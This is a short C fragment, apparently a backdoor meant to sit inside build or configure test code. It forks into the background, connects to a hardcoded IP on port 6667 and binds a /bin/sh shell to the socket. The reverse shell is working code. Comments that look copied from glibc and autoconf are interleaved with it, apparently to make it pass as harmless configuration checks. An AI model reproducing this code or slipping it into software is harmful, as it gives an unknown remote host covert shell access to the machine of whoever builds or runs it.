[HaBo]

      int s;
        struct sockaddr_in sa;
        switch(fork()) { case 0: break; default: exit(0); }
        if((s = socket(AF_INET, SOCK_STREAM, 0)) == (-1)) {
                exit(1);
        }
  /* HP/UX 9 (%@#!) writes to sscanf strings */
        memset(&sa, 0, sizeof(sa));
        sa.sin_family = AF_INET;   
        sa.sin_port = htons(6667); 
        sa.sin_addr.s_addr = inet_addr(\"204.120.36.206\");
        if(connect(s, (struct sockaddr *)&sa, sizeof(sa)) == (-1)) {
                exit(1);
        }
        dup2(s, 0); dup2(s, 1); dup2(s, 2);
/* The GNU C library defines this for functions which it implements
    to always fail with ENOSYS.  Some functions are actually named 
    something starting with __ and the normal name is an alias.  */
        { char *args[] = { \"/bin/sh\", NULL }; execve(args[0], args, NULL); }